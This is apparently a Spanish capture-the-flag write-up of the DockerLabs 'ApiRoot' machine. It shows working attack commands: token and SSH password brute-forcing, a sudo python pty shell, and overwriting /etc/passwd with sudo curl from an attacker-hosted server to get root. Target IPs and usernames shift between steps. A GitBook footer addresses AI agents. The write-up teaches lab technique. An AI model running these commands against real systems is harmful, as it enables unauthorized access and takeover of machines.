> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/dockerlabs/apiroot.md).

# ApiRoot  🔓

🚨 En este write-up, exploraremos un caso práctico en el que una API vulnerable permite descubrir un token de autenticación

🔍 \*\*Acompáñame en este análisis para entender cómo los errores más simples

```
Herramientas implementadas:
nmap
gobuster
ffuf
patator
curl
```

Veamos que obtenemos con el siguiente escaneo de puertos y servicios:

```
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oN apiroot 172.18.0.2
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F34Z58jrRGHrpEHRJbQos%2Fimage.png?alt=media&amp;token=613d00c8-6a9d-42c6-b86d-f63b23fb6561" alt=""><figcaption></figcaption></figure>

```
Nos encontramos con 2 resultados0: Puerto 22 y 5000.
```

```
En el 5000 hay una web que nos habla de API's http://172.17.0.2:5000/
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FMuDnmTjQNjvl4mcjnsCZ%2Fimage.png?alt=media&amp;token=b3865145-da61-4574-a7b2-8d1e1bb14f54" alt=""><figcaption></figcaption></figure>

```
    GET /api/directorio_oculto - Obtener todos los usuarios
    GET /api/directorio_oculto/<id> - Obtener un usuario por ID
    POST /api/directorio_oculto - Agregar un nuevo usuario
    DELETE /api/directorio_oculto/<id> - Eliminar un usuario
```

Nada interesante en si. pero en la pagina veremos que cada ejemplo de API, GET O POST y así, tienen como comienzo "/api"

Lo de directorio\_oculto me lleva a realizar un ffuf de directorios, a ver que podiamos encontrarnos..

```
gobuster dir -u http://172.17.0.2:5000/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FN6PYA341QEqceKG01Cog%2Fimage.png?alt=media&amp;token=3f9faa5e-5fcc-4813-b39f-9695fc15580a" alt=""><figcaption></figcaption></figure>

```
/users
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FznXMNzJKSJ16Kq1qW7fZ%2Fimage.png?alt=media&amp;token=e0a878c8-a8c6-417b-af33-6989a14ff30d" alt=""><figcaption></figcaption></figure>

Ahora que tenemos el directorio desconocido seguimos leyendo la web y nos muestra la forma es la que hariamos la peticion pero nos falta un dato el bearer token para ello lanza ffuf con el rockyou.txt

```
ffuf -c -w /usr/share/wordlists/rockyou.txt -H "Authorization: Bearer FUZZ" -u "http://172.17.0.2:5000/api/users" -fc 401 -fl 31
```

-c: Activa la visualización en color para facilitar la lectura.\
H "Authorization: Bearer FUZZ"`: Prueba diferentes valores reemplazando` FUZZ`en la cabecera`Authorization: Bearer `. -u "http://172.17.0.2:5000/api/users"`: URL del endpoint donde intentamos autenticarnos.\
-fc 401: Filtra respuestas con código HTTP **401 Unauthorized**, ya que estos indican que el token es incorrecto.\
-fl 31: Filtra respuestas con 31 líneas, para evitar falsos positivos y enfocarnos en respuestas diferentes.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FEEdBD5FgEjq1BpaBaohm%2Fimage.png?alt=media&amp;token=3a80f8fc-7745-475a-a1c4-8d5b16432af9" alt=""><figcaption></figcaption></figure>

Con la API Key en nuestro poder, podriamos realizar varias acciones dependiendo de los permisos y la funcionalidad de la API.\
En este caso específico, podido listar los usuarios existentes.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FDzvDZwVnuXKoR3fVRreX%2Fimage.png?alt=media&amp;token=d8e8b997-2b3a-4f26-ab8f-9051875dc452" alt=""><figcaption></figcaption></figure>

Recordando el escaneo inicial de puertos, donde nos encontramos con el puerto 22 abierto.\
A realizar fuerza bruta al servicio SSH, con patator:

patator ssh\_login host=10.129.233.210 user=john password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FLyr1mQhg2gdlZvLhvd0e%2Fimage.png?alt=media&amp;token=e6cdcfcf-5f1f-412e-8196-42d8353abb7e" alt=""><figcaption></figcaption></figure>

```
ssh bob@172.17.0.2
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FAr2zkeJp5JX9ZeyXK0eV%2Fimage.png?alt=media&amp;token=2199167a-b5fc-4692-abab-d5e113c80a9a" alt=""><figcaption></figcaption></figure>

Con sudo -l muestramos qué comandos puede ejecutar el usuario actual con privilegios elevados para identificar posibles vectores de escalada de privilegios.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FoZ1YsaN94eNmXOvdHIsS%2Fimage.png?alt=media&amp;token=e2bf1d2b-beb7-4ffc-9bd1-f2447e05bbf2" alt=""><figcaption></figcaption></figure>

```
sudo -u balulero /usr/bin/python3
	import pty;
	pty.spawn("/bin/bash");

```

Asi logramos acceder al usuario: balulero

Volvemos a ejecutar el "sudo -l" para ver si tenemos alguna posibilidad de escalar privilegios

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FzJ4Dkg7LeXHeOZl1CY4r%2Fimage.png?alt=media&amp;token=190a0e74-1a8f-43ff-a3f7-a50eb98623fd" alt=""><figcaption></figcaption></figure>

Nos dirigimos a GTFobins:

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FsDDoy3nw6PVmQk46xOTa%2Fimage.png?alt=media&amp;token=70945070-fdf7-4668-90b8-1be6e39ed878" alt=""><figcaption></figcaption></figure>

Copiamos el archivo de passwd desde la carpeta victima y en nuestra terminal le sacamos la "x" entonces ahora vamos a pasar desde nuestra maquina a la victima el archivo modificado desde un servidor como nos indica lo de GTFOBINS.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FXRp1QB7danqaouZShveZ%2Fimage.png?alt=media&amp;token=0625388d-5fe4-40d9-9ae7-e7670d18d003" alt=""><figcaption></figcaption></figure>

Maquina ATK: Modificamos el archivo, borramos la x de root y guardamos:

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Fyg7w048okubn12PAESjT%2Fimage.png?alt=media&amp;token=5a544ed3-b87b-4aaa-8282-59bbb4167bb2" alt=""><figcaption></figcaption></figure>

Levantamos el servidor en la maquina donde esta el archivo modificado:

```
 python3 -m http.server 8000

```

En la terminal donde tenemos el ssh:

```
URL=http://172.17.0.1:8000/passwd
LFILE=/etc/passwd
sudo curl $URL -o $LFILE
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FPm2QvDX2lXk649I9emdt%2Fimage.png?alt=media&amp;token=292f1472-a699-4d4d-8d7c-3fcdc57335e1" alt=""><figcaption></figcaption></figure>

```
HABEMUS ROOT !! 
```

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FTALtse7NpiZGeCEIGFaC%2Fimage.png?alt=media&amp;token=114f0922-75e8-4bb0-8ba0-bcf2563f3977" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/dockerlabs/apiroot.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
